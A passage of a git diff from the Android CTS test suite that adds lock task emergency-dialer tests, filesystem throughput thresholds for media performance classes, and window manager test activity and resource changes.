+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+        int originalLockTaskFeatures =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+        String emergencyDialerPackageName = getEmergencyDialerPackageName();
+        assumeFalse(emergencyDialerPackageName == null);
+        try (TestAppInstanceReference testApp =
+                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    new String[]{sLockTaskTestApp.packageName()});
+            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(0);
+            Activity<TestAppActivity> activity = testApp.activities().any().start();
+
+            try {
+                activity.startLockTask();
+                Intent intent = new Intent(ACTION_EMERGENCY_DIAL);
+                intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+
+                activity.activity().startActivity(intent);
+
+                if (sTestApis.activities().foregroundActivity() != null) {
+                    assertThat(sTestApis.activities().foregroundActivity().packageName()).isNotEqualTo(
+                            emergencyDialerPackageName);
+                }
+            } finally {
+                activity.stopLockTask();
+            }
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "New test")
+    @PositivePolicyTest(policy = LockTask.class)
+    @RequireFeature(FEATURE_TELEPHONY)
+    public void launchEmergencyDialerInLockTaskMode_notWhitelisted_keyguardFeature_launches() {
+        String[] originalLockTaskPackages =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskPackages();
+        int originalLockTaskFeatures =
+                sDeviceState.dpc().devicePolicyManager().getLockTaskFeatures();
+        String emergencyDialerPackageName = getEmergencyDialerPackageName();
+        assumeFalse(emergencyDialerPackageName == null);
+        try (TestAppInstanceReference testApp =
+                     sLockTaskTestApp.install(sTestApis.users().instrumented())) {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    new String[]{sLockTaskTestApp.packageName()});
+            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(LOCK_TASK_FEATURE_KEYGUARD);
+            Activity<TestAppActivity> activity = testApp.activities().any().start();
+            try {
+                activity.startLockTask();
+                Intent intent = new Intent(ACTION_EMERGENCY_DIAL);
+                intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+
+                activity.startActivity(intent);
+
+                assertThat(sTestApis.activities().foregroundActivity().packageName())
+                        .isEqualTo(sTestApis.packages().find(emergencyDialerPackageName));
+                assertThat(sTestApis.activities().getLockTaskModeState()).isEqualTo(
+                        LOCK_TASK_MODE_LOCKED);
+            } finally {
+                activity.stopLockTask();
+            }
+        } finally {
+            sDeviceState.dpc().devicePolicyManager().setLockTaskPackages(
+                    originalLockTaskPackages);
+            sDeviceState.dpc().devicePolicyManager().setLockTaskFeatures(originalLockTaskFeatures);
+        }
+    }
+
+    private String getEmergencyDialerPackageName() {
+        PackageManager packageManager =
+                sTestApis.context().instrumentedContext().getPackageManager();
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        ResolveInfo dialerInfo =
+                packageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        return (dialerInfo != null) ? dialerInfo.activityInfo.packageName : null;
+    }
 }
diff --git a/tests/filesystem/AndroidTest.xml b/tests/filesystem/AndroidTest.xml
index 2612765..41b9073 100644
--- a/tests/filesystem/AndroidTest.xml
+++ b/tests/filesystem/AndroidTest.xml
@@ -28,5 +28,7 @@
         <option name="runtime-hint" value="14m48s" />
         <!-- test-timeout unit is ms, value = 60 min -->
         <option name="test-timeout" value="3600000" />
+        <!-- disable isolated storage so tests can write report log -->
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/filesystem/src/android/filesystem/cts/FileUtil.java b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
index 5afaac0..bf49b42 100755
--- a/tests/filesystem/src/android/filesystem/cts/FileUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
@@ -267,9 +267,10 @@
      * @param report
      * @param fileSize
      * @param bufferSize should be power of two
+     * @return write throughput in MBPS
      * @throws IOException
      */
-    public static void doRandomReadTest(Context context, String dirName, ReportLog report,
+    public static double doRandomReadTest(Context context, String dirName, ReportLog report,
             long fileSize, int bufferSize) throws Exception {
         File file = FileUtil.createNewFilledFile(context,
                 dirName, fileSize);
@@ -312,6 +313,8 @@
 
         report.setSummary("read_throughput_average", stat.mAverage, ResultType.HIGHER_BETTER,
                 ResultUnit.MBPS);
+        Log.v(TAG, "random read " + stat.mAverage + " MBPS");
+        return stat.mAverage;
     }
 
     /**
@@ -321,9 +324,10 @@
      * @param report
      * @param fileSize
      * @param bufferSize should be power of two
+     * @return write throughput in MBPS
      * @throws IOException
      */
-    public static void doRandomWriteTest(Context context, String dirName, ReportLog report,
+    public static double doRandomWriteTest(Context context, String dirName, ReportLog report,
             long fileSize, int bufferSize) throws Exception {
         File file = FileUtil.createNewFilledFile(context,
                 dirName, fileSize);
@@ -363,6 +367,8 @@
 
         report.setSummary("write_throughput_average", stat.mAverage, ResultType.HIGHER_BETTER,
                 ResultUnit.MBPS);
+        Log.v(TAG, "random write " + stat.mAverage + " MBPS");
+        return stat.mAverage;
     }
 
     /**
diff --git a/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java b/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
new file mode 100644
index 0000000..d36a7f5
--- /dev/null
+++ b/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.filesystem.cts;
+
+import android.os.Build;
+import android.os.Build;
+import android.os.SystemProperties;
+import android.util.Log;
+
+/**
+ * Test utilities.
+ */
+/* package private */ class MediaPerformanceClassUtils {
+    private static final int sPc = SystemProperties.getInt(
+        "ro.odm.build.media_performance_class", 0);
+
+    private static final String TAG = "PerformanceClassTestUtils";
+
+    /**
+     * First defined media performance class.
+     */
+    private static final int FIRST_PERFORMANCE_CLASS = Build.VERSION_CODES.R;
+
+    /**
+     * Latest defined media performance class.
+     */
+    /* TODO: make this S */
+    private static final int LAST_PERFORMANCE_CLASS = Build.VERSION_CODES.R + 1;
+
+    static {
+        if (sPc > 0) {
+            Log.d(TAG, "performance class is "  + sPc);
+        }
+    }
+
+    public static boolean isRPerfClass() {
+        return sPc == Build.VERSION_CODES.R;
+    }
+
+    public static boolean isSPerfClass() {
+        return sPc == Build.VERSION_CODES.R + 1; /* TODO: make this S */
+    }
+
+    public static int getPerfClass() {
+        return sPc;
+    }
+
+    public static boolean isPerfClass() {
+        return sPc >= FIRST_PERFORMANCE_CLASS &&
+               sPc <= LAST_PERFORMANCE_CLASS;
+    }
+}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 1c46339..9f05994 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -26,6 +26,8 @@
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DeviceReportLog;
 
+import static org.junit.Assert.assertTrue;
+
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -35,6 +37,19 @@
     private static final String DIR_RANDOM_WR = "RANDOM_WR";
     private static final String DIR_RANDOM_RD = "RANDOM_RD";
     private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
+    private static final double MIN_READ_MBPS;
+    private static final double MIN_WRITE_MBPS;
+
+    static {
+        if (MediaPerformanceClassUtils.isRPerfClass()) {
+            MIN_READ_MBPS = 25;
+            MIN_WRITE_MBPS = 10;
+        } else {
+            // Performance class Build.VERSION_CODES.S and beyond
+            MIN_READ_MBPS = 40;
+            MIN_WRITE_MBPS = 10;
+        }
+    }
 
     @After
     public void tearDown() throws Exception {
@@ -52,9 +67,13 @@
         }
         String streamName = "test_random_read";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
-        FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
+        double mbps = FileUtil.doRandomReadTest(getContext(), DIR_RANDOM_RD, report, fileSize,
                 READ_BUFFER_SIZE);
         report.submit(getInstrumentation());
+        if (MediaPerformanceClassUtils.isPerfClass()) {
+            assertTrue("measured " + mbps + " is less than target (" + MIN_READ_MBPS + " MBPS)",
+                       mbps >= MIN_READ_MBPS);
+        }
     }
 
     // It is taking too long in some device, and thus cannot run multiple times
@@ -69,10 +88,17 @@
         }
         String streamName = "test_random_update";
         DeviceReportLog report = new DeviceReportLog(REPORT_LOG_NAME, streamName);
+        double mbps = -1;
+        // this is in-fact true
         if (fileSize > FileUtil.BUFFER_SIZE) {
-            FileUtil.doRandomWriteTest(getContext(), DIR_RANDOM_WR, report, fileSize,
+            mbps = FileUtil.doRandomWriteTest(getContext(), DIR_RANDOM_WR, report, fileSize,
                 WRITE_BUFFER_SIZE);
         }
         report.submit(getInstrumentation());
+        if (MediaPerformanceClassUtils.isPerfClass()) {
+            // for performance class devices we must be able to write 256MB
+            assertTrue("measured " + mbps + " is less than target (" + MIN_WRITE_MBPS + " MBPS)",
+                       mbps >= MIN_WRITE_MBPS);
+        }
     }
 }
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 6735eba..269861c 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -16,6 +16,8 @@
 
 package android.filesystem.cts;
 
+import android.util.Log;
+
 import static androidx.test.InstrumentationRegistry.getContext;
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -29,6 +31,8 @@
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.Stat;
 
+import static org.junit.Assert.assertTrue;
+
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -39,11 +43,26 @@
 
 @RunWith(AndroidJUnit4.class)
 public class SequentialRWTest {
+    private static final String TAG = "SequentialRWTest";
+
     private static final String DIR_SEQ_WR = "SEQ_WR";
     private static final String DIR_SEQ_UPDATE = "SEQ_UPDATE";
     private static final String DIR_SEQ_RD = "SEQ_RD";
     private static final String REPORT_LOG_NAME = "CtsFileSystemTestCases";
     private static final int BUFFER_SIZE = 10 * 1024 * 1024;
+    private static final double MIN_READ_MBPS;
+    private static final double MIN_WRITE_MBPS;
+
+    static {
+        if (MediaPerformanceClassUtils.isRPerfClass()) {
+            MIN_READ_MBPS = 200;
+            MIN_WRITE_MBPS = 100;
+        } else {
+            // Performance class Build.VERSION_CODES.S and beyond
+            MIN_READ_MBPS = 250;
+            MIN_WRITE_MBPS = 125;
+        }
+    }
 
     @After
     public void tearDown() throws Exception {
@@ -81,7 +100,13 @@
         Stat.StatResult stat = Stat.getStat(mbps);
         report.setSummary("write_throughput_average", stat.mAverage, ResultType.HIGHER_BETTER,
                 ResultUnit.MBPS);
+        Log.v(TAG, "sequential write " + stat.mAverage + " MBPS");
         report.submit(getInstrumentation());
+
+        if (MediaPerformanceClassUtils.isPerfClass()) {
+            assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_WRITE_MBPS +
+                       " MBPS)", stat.mAverage >= MIN_WRITE_MBPS);
+        }
     }
 
     @Test
@@ -135,6 +160,12 @@
         Stat.StatResult stat = Stat.getStat(mbps);
         report.setSummary("read_throughput_average", stat.mAverage, ResultType.HIGHER_BETTER,
                 ResultUnit.MBPS);
+        Log.v(TAG, "sequential read " + stat.mAverage + " MBPS");
         report.submit(getInstrumentation());
+
+        if (MediaPerformanceClassUtils.isPerfClass()) {
+            assertTrue("measured " + stat.mAverage + " is less than target (" + MIN_READ_MBPS +
+                       " MBPS)", stat.mAverage >= MIN_READ_MBPS);
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 86b50fa..f0f40a6 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -490,6 +490,12 @@
                   android:screenOrientation="portrait"
                   android:exported="true"/>
 
+        <activity android:name="android.server.wm.CompatChangeTests$ResizeableLargeAspectRatioActivity"
+                  android:resizeableActivity="true"
+                  android:screenOrientation="portrait"
+                  android:minAspectRatio="3"
+                  android:exported="true"/>
+
         <activity android:name="android.server.wm.CompatChangeTests$NonResizeablePortraitActivity"
                   android:resizeableActivity="false"
                   android:screenOrientation="portrait"
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 4e4f71a..1d3a0c0 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -239,6 +239,10 @@
              android:process=".top_process"
              android:exported="true"
              android:theme="@style/NoPreview"/>
+        <activity android:name=".TopWallpaperActivity"
+             android:process=".top_process"
+             android:exported="true"
+             android:theme="@style/WallpaperTheme"/>
         <activity android:name=".UnresponsiveActivity"
              android:process=".unresponsive_activity_process"
              android:exported="true"
@@ -247,11 +251,20 @@
              android:process=".top_process"
              android:exported="true"
              android:theme="@style/TranslucentTheme"/>
+        <activity android:name=".TranslucentTopWallpaperActivity"
+             android:process=".top_process"
+             android:exported="true"
+             android:theme="@style/TranslucentWallpaperTheme"/>
         <activity android:name=".TopNonResizableActivity"
              android:exported="true"
              android:resizeableActivity="false"
              android:theme="@style/NoPreview"
         />
+        <activity android:name=".TopNonResizableWallpaperActivity"
+             android:exported="true"
+             android:resizeableActivity="false"
+             android:theme="@style/WallpaperTheme"
+        />
         <activity android:name=".BottomNonResizableActivity"
              android:exported="true"
              android:resizeableActivity="false"
@@ -588,17 +601,22 @@
         <activity android:name=".HideOverlayWindowsActivity" android:exported="true"/>
         <activity android:name=".BackgroundImageActivity"
              android:theme="@style/BackgroundImage"
+             android:colorMode="wideColorGamut"
              android:exported="true"/>
         <activity android:name=".BlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/TranslucentDialog"/>
         <activity android:name=".BlurAttributesActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BlurryDialog"/>
         <activity android:name=".BadBlurActivity"
              android:exported="true"
+             android:colorMode="wideColorGamut"
              android:theme="@style/BadBlurryDialog"/>
 
+        <!-- Splash Screen Test Activities -->
         <activity android:name=".HandleSplashScreenExitActivity"
                   android:theme="@style/ShowBrandingTheme"
                   android:configChanges="uiMode"
diff --git a/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml b/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml
index b8926e5..66093af 100644
--- a/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml
+++ b/tests/framework/base/windowmanager/app/res/layout/blur_activity.xml
@@ -16,6 +16,6 @@
   -->
 <FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
-    android:layout_width="50dp"
-    android:layout_height="50dp">
+    android:layout_width="240px"
+    android:layout_height="200px">
 </FrameLayout>
diff --git a/tests/framework/base/windowmanager/app/res/values/dimens.xml b/tests/framework/base/windowmanager/app/res/values/dimens.xml
index 1ab7c3b..44953ec 100644
--- a/tests/framework/base/windowmanager/app/res/values/dimens.xml
+++ b/tests/framework/base/windowmanager/app/res/values/dimens.xml
@@ -16,6 +16,6 @@
   -->
 
 <resources>
-    <dimen name="test_background_blur_radius">50dp</dimen>
-    <dimen name="test_blur_behind_radius">25dp</dimen>
+    <dimen name="test_background_blur_radius">80px</dimen>
+    <dimen name="test_blur_behind_radius">40px</dimen>
 </resources>
diff --git a/tests/framework/base/windowmanager/app/res/values/styles.xml b/tests/framework/base/windowmanager/app/res/values/styles.xml
index ced732b..0c9df63 100644
--- a/tests/framework/base/windowmanager/app/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/app/res/values/styles.xml
@@ -85,6 +85,7 @@
     </style>
     <style name="ShowBrandingTheme" parent="@android:style/Theme.Material.NoActionBar">
         <item name="android:windowSplashScreenBrandingImage">@drawable/branding</item>
+        <item name="android:windowSplashScreenAnimatedIcon">@drawable/start</item>
         <item name="android:windowSplashScreenIconBackgroundColor">@drawable/blue</item>
     </style>
 
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
index 8164465..de0826d 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/Components.java
@@ -148,6 +148,8 @@
     public static final ComponentName TOAST_ACTIVITY = component("ToastActivity");
     public static final ComponentName TOP_ACTIVITY = component("TopActivity");
     public static final ComponentName TOP_NON_RESIZABLE_ACTIVITY = component("TopNonResizableActivity");
+    public static final ComponentName TOP_NON_RESIZABLE_WALLPAPER_ACTIVITY = component("TopNonResizableWallpaperActivity");
+    public static final ComponentName TOP_WALLPAPER_ACTIVITY = component("TopWallpaperActivity");
     public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY =
             component("TestActivityWithSameAffinity");
     public static final ComponentName TEST_LIVE_WALLPAPER_SERVICE = component("LiveWallpaper");
@@ -159,6 +161,8 @@
             component("TranslucentAssistantActivity");
     public static final ComponentName TRANSLUCENT_TOP_ACTIVITY =
             component("TranslucentTopActivity");
+    public static final ComponentName TRANSLUCENT_TOP_WALLPAPER_ACTIVITY =
+            component("TranslucentTopWallpaperActivity");
     public static final ComponentName TRANSLUCENT_TOP_NON_RESIZABLE_ACTIVITY =
         component("TranslucentTopNonResizableActivity");
     public static final ComponentName TRANSLUCENT_TEST_ACTIVITY =
@@ -545,7 +549,6 @@
     public static class TopActivity {
         public static final String EXTRA_FINISH_DELAY = "FINISH_DELAY";
         public static final String EXTRA_FINISH_IN_ON_CREATE = "FINISH_IN_ON_CREATE";
-        public static final String EXTRA_TOP_WALLPAPER = "USE_WALLPAPER";
         public static final String ACTION_CONVERT_TO_TRANSLUCENT = "convert_to_translucent";
         public static final String ACTION_CONVERT_FROM_TRANSLUCENT = "convert_from_translucent";
     }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java
index 0812067..c8e2140 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/HandleSplashScreenExitActivity.java
@@ -32,14 +32,20 @@
 import android.app.UiModeManager;
 import android.content.Context;
 import android.content.res.Configuration;
+import android.graphics.Bitmap;
+import android.graphics.Color;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
 import android.os.Bundle;
 import android.server.wm.TestJournalProvider;
+import android.util.Log;
 import android.window.SplashScreen;
 
 public class HandleSplashScreenExitActivity extends Activity {
     private SplashScreen mSSM;
     private UiModeManager mUiModeManager;
     private boolean mReportSplashScreenNightMode;
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -62,7 +68,14 @@
                 final boolean containsCenter = view.getIconView() != null;
                 final boolean containsBranding = view.getBrandingView() != null
                         && view.getBrandingView().getBackground() != null;
-                final int iconBackground = view.getIconBackgroundColor();
+                Drawable background = view.getIconView().getBackground();
+                final int iconBackground;
+                if (background != null) {
+                    Bitmap bitmap = ((BitmapDrawable) background).getBitmap();
+                    iconBackground = bitmap.getPixel(bitmap.getWidth() / 2, bitmap.getHeight() / 2);
+                } else {
+                    iconBackground = Color.TRANSPARENT;
+                }
                 TestJournalProvider.putExtras(baseContext, HANDLE_SPLASH_SCREEN_EXIT, bundle -> {
                     bundle.putBoolean(RECEIVE_SPLASH_SCREEN_EXIT, true);
                     bundle.putBoolean(CONTAINS_CENTER_VIEW, containsCenter);
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
index 4cdc421..f089b86 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopActivity.java
@@ -20,7 +20,6 @@
 import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_DELAY;
 import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_IN_ON_CREATE;
-import static android.server.wm.app.Components.TopActivity.EXTRA_TOP_WALLPAPER;
 
 import android.os.Bundle;
 import android.os.Handler;
@@ -28,21 +27,12 @@
 
 public class TopActivity extends AbstractLifecycleLogActivity {
 
-    protected void setWallpaperTheme() {
-        setTheme(R.style.WallpaperTheme);
-    }
-
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        final boolean useWallpaper = getIntent().getBooleanExtra(EXTRA_TOP_WALLPAPER, false);
-        if (useWallpaper) {
-            setWallpaperTheme();
-        }
-
-        final int finishDelay = getIntent().getIntExtra(EXTRA_FINISH_DELAY, 0);
-        if (finishDelay > 0) {
+       final int finishDelay = getIntent().getIntExtra(EXTRA_FINISH_DELAY, 0);
+       if (finishDelay > 0) {
             Handler handler = new Handler();
             handler.postDelayed(() -> {
                     Log.d(getTag(), "Calling finish()");
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopNonResizableWallpaperActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopNonResizableWallpaperActivity.java
new file mode 100644
index 0000000..1aee1e3
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopNonResizableWallpaperActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+public class TopNonResizableWallpaperActivity extends TopActivity {
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopWallpaperActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopWallpaperActivity.java
new file mode 100644
index 0000000..7a58d50
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TopWallpaperActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+public class TopWallpaperActivity extends TopActivity {
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopActivity.java
index 795b844..d77434f 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopActivity.java
@@ -17,9 +17,4 @@
 package android.server.wm.app;
 
 public class TranslucentTopActivity extends TopActivity {
-
-    @Override
-    protected void setWallpaperTheme() {
-        setTheme(R.style.TranslucentWallpaperTheme);
-    }
 }
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopWallpaperActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopWallpaperActivity.java
new file mode 100644
index 0000000..15878f9
--- /dev/null
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/TranslucentTopWallpaperActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.app;
+
+public class TranslucentTopWallpaperActivity extends TopActivity {
+}
diff --git a/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java b/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java
index e7fa8ff..46f6183 100644
--- a/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java
+++ b/tests/framework/base/windowmanager/appProfileable/src/android/server/wm/profileable/ProfileableAppActivity.java
@@ -61,7 +61,14 @@
 
     /** Monitor the close event of trace file. */
     private static class TraceFileObserver extends FileObserver {
-        private static final long TIMEOUT_MS = TimeUnit.SECONDS.toMillis(5);
+        /**
+         * The timeout for the close event of trace file. Although the trace file may take longer
+         * than 3 seconds, it is enough because the test only checks the first line of the file.
+         * Note that this timeout must be less than the value of
+         * {@link android.server.wm.CommandSession.ActivitySession.Response#TIMEOUT_MILLIS}.
+         * Otherwise the caller who sent {@link COMMAND_WAIT_FOR_PROFILE_OUTPUT} may get exception.
+         */
+        private static final long TIMEOUT_MS = TimeUnit.SECONDS.toMillis(3);
         private volatile boolean mDone;
 
         TraceFileObserver() {
diff --git a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
index 5cf68b5..6b30644 100644
--- a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
+++ b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
@@ -143,6 +143,14 @@
         dumpConfigInfo();
     }
 
+    @Override
+    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+        dumpConfiguration(newConfig);
+        dumpAssetSeqNumber(newConfig);
+        dumpConfigInfo();
+    }
+
     private void dumpAssetSeqNumber(Configuration newConfig) {
         withTestJournalClient(client -> {
             final Bundle extras = new Bundle();
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index f6d4ab1..d46e922 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -183,8 +183,7 @@
         assertTrue("Not able to start foreground activity", firstResult);
         // Don't press home button to avoid stop app switches
         mContext.sendBroadcast(new Intent(ACTION_FINISH_ACTIVITY));
-        mWmState.waitForHomeActivityVisible();
-        Thread.sleep(ACTIVITY_BG_START_GRACE_PERIOD_MS / 2);
+        mWmState.waitAndAssertActivityRemoved(APP_A_FOREGROUND_ACTIVITY);
         Intent secondIntent = new Intent();
         secondIntent.setComponent(APP_A_START_ACTIVITY_RECEIVER);
 
@@ -256,14 +255,16 @@
                 APP_A_FOREGROUND_ACTIVITY);
         assertTrue("Not able to launch background activity", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
-        pressHomeAndResumeAppSwitch();
+        // We can't resume app switching after pressing home button, otherwise the grace period
+        // will allow the starts.
+        pressHomeAndWaitHomeResumed();
 
         mContext.sendBroadcast(getLaunchActivitiesBroadcast(APP_A_BACKGROUND_ACTIVITY));
 
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
-        assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
+        assertFalse("Previously foreground Activity should not be able to make it focused", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
-        assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
+        assertFalse("Previously background Activity should not be able to make it focused", result);
         assertTaskStack(new ComponentName[] {APP_A_BACKGROUND_ACTIVITY, APP_A_FOREGROUND_ACTIVITY},
                 APP_A_FOREGROUND_ACTIVITY);
     }
@@ -283,7 +284,9 @@
